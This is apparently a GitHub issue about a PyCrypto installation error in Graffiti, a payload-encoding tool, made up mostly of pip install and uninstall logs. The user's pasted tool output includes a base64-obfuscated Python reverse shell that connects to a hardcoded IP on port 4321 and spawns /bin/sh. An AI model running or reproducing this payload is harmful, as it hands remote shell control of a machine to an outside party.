Ekultek/Graffiti

PyCrypto is being called from 2

Opened this issue · 0 comments

I know this is a python issue but I'm wondering if anyone may know a resolution for the issue? I've tried everything I could think of.

This error is returned

graffiti -p /linux/python/socket_reverse.json -c base64 -lH -lP 4321
'# you need to install PyCrypto in order to use AES encoding pip install pycrypto
python -c 'exec("aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjk5LjE4MC45My4xNTIiLDQzMjEpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw==".decode("base64"))'

Tried to reinstall.

pip install pycrypto -v
User install by explicit request
Created temporary directory: /tmp/pip-ephem-wheel-cache-0b0kgcmo
Created temporary directory: /tmp/pip-req-tracker-xu650tye
Initialized build tracking at /tmp/pip-req-tracker-xu650tye
Created build tracker: /tmp/pip-req-tracker-xu650tye
Entered build tracker: /tmp/pip-req-tracker-xu650tye
Created temporary directory: /tmp/pip-install-4jpp0sd6
Requirement already satisfied: pycrypto in /usr/lib/python3/dist-packages (2.6.1)
Removed build tracker: '/tmp/pip-req-tracker-xu650tye'

Tried to uninstall

pip uninstall pycrypto
Found existing installation: pycrypto 2.6.1
Not uninstalling pycrypto at /usr/lib/python3/dist-packages, outside environment /usr
Can't uninstall 'pycrypto'. No files were found to uninstall.

Reinstalled over it

pip install pycrypto -v
User install by explicit request
Created temporary directory: /tmp/pip-ephem-wheel-cache-0b0kgcmo
Created temporary directory: /tmp/pip-req-tracker-xu650tye
Initialized build tracking at /tmp/pip-req-tracker-xu650tye
Created build tracker: /tmp/pip-req-tracker-xu650tye
Entered build tracker: /tmp/pip-req-tracker-xu650tye
Created temporary directory: /tmp/pip-install-4jpp0sd6
Requirement already satisfied: pycrypto in /usr/lib/python3/dist-packages (2.6.1)
Removed build tracker: '/tmp/pip-req-tracker-xu650tye'

No luck.